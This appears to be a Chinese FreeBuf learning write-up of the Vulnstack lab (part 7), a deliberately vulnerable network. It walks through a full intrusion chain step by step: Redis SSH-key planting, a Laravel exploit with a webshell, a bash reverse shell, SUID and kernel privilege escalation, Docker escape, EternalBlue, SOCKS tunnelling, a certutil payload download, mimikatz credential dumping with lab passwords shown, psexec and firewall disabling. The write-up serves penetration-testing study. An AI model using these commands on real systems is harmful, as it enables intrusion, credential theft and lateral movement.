freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnstack红日内网靶场(七)-学习过程笔记
2023-01-11 11:42:44
所属地 香港

Vulnstack内网靶场渗透(7)报告

前言

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

拓扑图:

1673407869_63be2d7d9303fa68f4497.png!small?1673407870292

环境信息

  • DMZ区需要启动redis服务:

sudo redis-server /etc/redis.conf

  • 第二层网络Ubuntu需要启动docker环境:

sudo service docker start

sudo docker start 8e172820ac78

  • 第三层网络PC2需要启动通达OA

C:\MYOA\bin\AutoConfig.exe

0X00 外网渗透

目标IP:192.168.0.127

  • 扫描IP端口

Nmap -p- T4 -A -v 192.168.0.127

1673407888_63be2d90404e3abd5fd25.png!small?1673407889303

开放22、80、81、6379端口,访问81端口发现Laravel框架

1673407901_63be2d9d172c20fff161f.png!small?1673407901938

先尝试redis未授权访问

0X01 Redis未授权访问

由于目标开放6379端口,尝试连接redis测试是否存在未授权

1673407908_63be2da45f4e85f9f7ff4.png!small?1673407909038

Redis-cli -h 192.168.0.127

存在未授权访问

0X02 写入ssh公钥连接ssh

Kali写入公钥ssh(kali需要root权限下执行以下命令)

ssh-keygen -t rsa #生成公钥

1673407913_63be2da94b8c8872e9298.png!small?1673407914101

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > f.txt #将公钥导入f.txt文件

cat f.txt | redis-cli -h 192.168.0.127 -p 6379 -x set hello #把f.txt文件内容写入目标主机的redis缓冲中

1673407923_63be2db35dc0fc5b1fcc5.png!small?1673407923978

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/

config set dbfilename authorized_keys   # 设置保存文件名为authorized_keys

1673407930_63be2dbab8c52d937f867.png!small?1673407931356

成功通过公钥连接上ssh

进行简单信息收集,发现存在段192.168.52.xx

1673407936_63be2dc01d934f4d5187b.png!small?1673407936753

查看nginx配置文件是否存在反向代理

Cd /etc/nginx/conf.d

Cat 81.conf

1673407962_63be2dda10b97d0894beb.png!small?1673407962632

0X03 利用Laravel框架漏洞反弹GetShell

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Webshell工具:哥斯拉(2.92版本可连)

https://github.com/BeichenDream/Godzilla/releases/tag/v2.92-godzilla

python  laravel-CVE-2021-3129-EXP.py http://192.168.0.127:81

1673407967_63be2ddf210db246022e7.png!small?1673407967766

用哥斯拉连接

1673407973_63be2de57967f0cbbd668.png!small?1673407974091

1673407988_63be2df4c5f80138c33b6.png!small?1673407989515

进行简单信息收集,发现存在docker文件,当前应该在docker环境内,ip端是172

1673407995_63be2dfb725ef323c8dde.png!small?1673407996054

尝试反弹shell到kali进行提权,失败

利用之前redis拿下的ubuntu做vps

主机监听 nc -lvnp 1237

Bash -c ‘exec bash -i & >dev/tcp/192.168.52.10/1237 <&1’  #反弹shell

1673408000_63be2e0004ef9fa21e04a.png!small?1673408000773

0X04 提权

尝试搜索SUID

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

发现可疑文件shell

1673408004_63be2e04724cce0a2e14b.png!small?1673408005139

执行shell

1673408008_63be2e08a836230e1e160.png!small?1673408009298

在demo.c源码中发现该脚本执行了PS命令

尝试修改$PATH来执行我们的恶意程序,从而获取root权限

Cd /tmp

Echo “/bin/bash” > ps

Chmod 777 ps

Echo $PATH

Export PATH=/tmp:$PATH  #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

1673408014_63be2e0e1bbc5809b687f.png!small?1673408014730

成功获取root权限

再次将root权限shell反弹给第一台ubuntu

1673408019_63be2e1340c9775df521b.png!small?1673408019817

第二台ubuntu实际IP为192.168.52.20,所以要从docker中脱离出来

Docker特权模式逃逸

原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

fdisk -l  #查看磁盘文件

ls /dev  #查看设备文件

1673408024_63be2e184a594254c23b8.png!small?1673408024940

发现三个磁盘文件和N个设备文件,将/dev/sda1挂载到自己创建的文件夹看是否有利用的数据

mkdir f  #创建名为f的文件夹

mount  /dev/sda1 f  #把sda1挂载到f

ls f

1673408028_63be2e1cdccc622d0cda2.png!small?1673408029562

查看home文件时发现其中存在ubuntu用户,制作ssh公钥尝试连接

ssh-keygen -f f

chmod 600 f

1673408033_63be2e2165ab2149a2787.png!small?1673408034357

cp -avx /f/home/ubuntu/.ssh/id_rsa.pub /f/home/ubuntu/.ssh/authorized_keys    #avx是将权限也一起复制

echo > /f/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件

echo 'f.pub文件的内容' > /f/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件

ssh -i f ubuntu@192.168.52.20

1673408040_63be2e280f0b2674dc8a7.png!small?1673408040813

成功登录到第二台主机

查看网络,发现存在93网段

1673408045_63be2e2d5d2f2f4d6fd95.png!small?1673408046090

内核提权(CVE-2021-3493)

exp: https://github.com/briskets/CVE-2021-3493

cd /tmp

vim exploit.c  #将下载的exp内容粘贴到该文件中

gcc exploit.c -o exploit #编译exp

chmod +x exploit

./exploit

1673408052_63be2e344977884fc640d.png!small?1673408053032

成功提权

内网渗透

MSF上线两台主机

1673408055_63be2e37e7eb2631a3b0b.png!small?1673408057039

添加路由

run get_local_subnets

run autoroute -s 192.168.52.0 -n 255.255.255.0

run autoroute -p

1673408070_63be2e463fc1513daabbb.png!small?1673408071374

存活扫描

52段无其他主机

1673408075_63be2e4b3c9ab6b57c5ad.png!small?1673408076266

扫描93段存活主机

1673408079_63be2e4f90d0de143f182.png!small?1673408080252

发现30、40主机且存在域

MS17_010

尝试利用ms17_010漏洞拿到主机

1673408082_63be2e52f3c736263a232.png!small?1673408083857

经扫描,30、40均存在此漏洞

尝试攻击

1673408089_63be2e596bca8e410455d.png!small?1673408090090

攻击创建成功,但是会话创建失败了

尝试使用命令执行模块攻击

1673408093_63be2e5dcc24a97ef3247.png!small?1673408094543

搜集查询是否为域控

set COMMAND net group \”Domain controllers\” /domain

1673408097_63be2e617ec20713ea87e.png!small?1673408098117

确认为域控主机

搭建SOCK5隧道

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务

ew工具:https://github.com/idlefire/ew

上传ew_for_linux64到kali

通过DMZ第一台ubuntu主机上传ew

1673408108_63be2e6ccc12adc889c43.png!small?1673408109333

kali开启监听,ubuntu运行

kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1234

ubuntu:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.136 -e 1234 &

1673408113_63be2e71b75f0efbabdbd.png!small?1673408114738

配置proxychains,将socks5服务器指向127.0.0.1:1080,就可以使用proxychains将程序代理进第二层网络了

用MSF扫描第二层存活主机

1673408120_63be2e7819dbac8ca1615.png!small?1673408120834

发现192.168.52.30主机

扫描主机开放端口

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

1673408129_63be2e81400814a7688f2.png!small?1673408130031

发现开放http服务

物理机火狐做代理,物理机访问发现是通达OA

1673408133_63be2e858d85590114bc1.png!small?1673408134123

1673408140_63be2e8c5956afecfe656.png!small?1673408141716

经测试改OA版本为V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。

POC:https://blog.csdn.net/szgyunyun/article/details/107104288

构造请求包,bp返回路径

1673408146_63be2e924de5de0f7ee37.png!small?1673408146971

利用文件包含漏洞修改请求包路径,拿到shell

1673408150_63be2e96c4d392a9e1a8c.png!small?1673408151362

利用MSF创造powershell

1673408154_63be2e9a8217333439930.png!small?1673408155340

用第一台ubuntu上传exe

1673408156_63be2e9c51b819c5ab15b.png!small?1673408157016

ubuntu开启http服务

1673408159_63be2e9fdc4098c590e8b.png!small?1673408160366

利用bp构造请求包执行下载命令

certutil.exe -urlcache -split -f http://192.168.52.10:1009/win7_9091.exe

1673408166_63be2ea6130c2d229787a.png!small?1673408166677

在MSF里开启监听

1673408170_63be2eaa409510a694a2e.png!small?1673408170912

bp制造请求包执行启动命令

1673408173_63be2ead1faf46cf6db95.png!small?1673408173715

成功上线

1673408177_63be2eb1a2c41cad5d425.png!small?1673408178327

至此已经拿到3台主机

之前已经判断为域控

获取凭证(将该进程迁移到64位的进程上

migrate +进程号

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

1673408183_63be2eb76eb7794eb915b.png!small?1673408184722

成功抓取到域用户bunny和域管理员administrator的凭证

bunny:Bunny2021
administrator:Whoami2021

第三层内网渗透

建立隧道使kali直通93

1673408191_63be2ebf8801ab5b2f215.png!small?1673408192175

使用MSF扫描主机存活

use auxiliary/scanner/smb/smb_version

set rhosts 192.168.93.1-255

set threads 5

run

发现存活30、40主机

psexec攻击

使用psexec模块获取权限

use exploit/windows/smb/psexec

set rhosts 192.168.93.30

set lport 9999

set SMBUser administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

run

发现攻击失败,猜测是防火墙问题

利用第二层win7 IPC连接关闭防火墙

  • net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
  • sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
  • sc \\192.168.93.30 start unablefirewall

1673408207_63be2ecf0f0820a452fed.png!small?1673408207763

再次run,成功拿下DC

1673408215_63be2ed75eb5096f0e38f.png!small?1673408216154

1673408220_63be2edc77a76d3637e19.png!small?1673408221167

MS17_010永恒之蓝

由于40端口开放445端口,可以尝试利用永恒之蓝

1673408224_63be2ee093ae6e20483cb.png!small?1673408225299

成功拿下

1673408227_63be2ee3d919860c4f28c.png!small?1673408229489

至此拿下所有主机

# 渗透测试 # 网络安全 # 渗透测试学习 # 学习笔记
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录